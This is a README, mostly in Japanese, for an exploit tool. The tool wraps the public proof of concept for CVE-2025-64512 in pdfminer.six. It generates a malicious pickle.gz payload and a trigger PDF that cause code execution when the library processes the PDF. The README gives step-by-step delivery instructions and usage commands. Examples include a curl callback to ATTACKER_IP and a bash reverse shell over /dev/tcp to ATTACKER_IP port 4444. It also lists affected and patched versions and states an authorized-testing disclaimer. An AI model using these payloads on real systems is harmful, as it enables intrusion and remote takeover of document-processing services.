
CVE-2025-64512 PoCのCLIラッパー。悪意のあるPDFおよびpickle.gzペイロードを生成してpdfminer.sixの安全でない逆シリアル化を悪用し、細工されたPDF処理を介したリモートコード実行を可能にします。
⚠️ 免責事項: このツールは教育目的および許可を得たペネトレーションテスト専用です。所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。無断使用は違法です。
pdfminer.six は、PDFファイルからテキストとメタデータを抽出するために広く使われているPythonライブラリで、ドキュメント処理パイプライン、CLIツール、AI/データ取り込みワークフローに組み込まれることがよくあります。影響を受けるバージョンは、CJKフォントサポート用のCMap(文字マップ)キャッシュファイルを、解決されたパスが期待されるキャッシュディレクトリ内に留まることを検証せずに、Pythonの pickle モジュールを使用して読み込みます。
特別に細工されたPDFは、このCMap検索のための攻撃者制御のパスを参照できます。攻撃者が解決されたパスに悪意のある .pickle.gz ファイルを配置できる場合(例: 同じ場所にファイルをアップロードできる機能を利用して)、PDFを処理すると、攻撃者制御のデータに対して pickle.loads() が実行され、任意のコード実行 につながります。この正確なメカニズム(PoC PDF構造を含む)は、公式アドバイザリでmtolleyによって文書化されました。
このリポジトリには、CVE-2025-64512のGitHub Security Advisoryで公開された公式の概念実証(PoC)を包む小さなCLIラッパーが含まれています。新たな悪用手法を導入するものではありません — 悪意のあるPDFテンプレートはアドバイザリ自体からほぼそのまま取られており、このスクリプトは対象パス、実行するコマンド、出力ファイル名をパラメータ化して、PoCを再利用しやすくしているだけです。
pdfminer.six の CMapDB._load_data() は、PDFフォントの /Encoding エントリから取得したCMap名をファイルパスに解決し、それが .pickle.gz で終わる場合は pickle.loads() で読み込みます。この関数は、解決されたパスがpdfminer自身の cmap/ ディレクトリ内に留まることを検証しません。
/Encoding が攻撃者が選択したパス(URLエンコードされ、/ が #2F になる)を参照する トリガーPDF<そのパス>.pickle.gz に存在する 悪意のある .pickle.gz ファイル通常、両方のファイルは、最終的にpdfminer.sixによって処理される同じアップロード経路(例: ドキュメント取り込みパイプライン)を通じて配信できます。その際、ディスク上に生成されるパスが予測可能または発見可能であることが条件です。
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip、pickle、argparse)ペイロードを生成するためにサードパーティの依存関係は不要です。ターゲット側には、アップロードされたPDFを実際に処理する脆弱性のあるpdfminer.six(またはそれに依存するプロジェクト)が必要です。
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
これにより次のファイルが生成されます:
payload.pickle.gz — これを最初にアップロードします(.../uploads/payload.pickle.gz に配置)trigger.pdf — これを次にアップロードします。対象がpdfminer.sixで処理すると、コマンドが実行されますpython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| 項目 | 値 |
|---|
| CVE | CVE-2025-64512 |
| 影響対象 | pdfminer.six ≤ 20250506 (markitdown ≤ 0.1.3、pdfplumber ≤ 0.11.7 も対象) |
| 種別 | 安全でない逆シリアル化 (CWE-502) |
| 特権 | なし(未認証。PDF処理が公開されている場合) |
| 影響 | 任意のコード実行 |
| パッチ | pdfminer.six 20251107+ |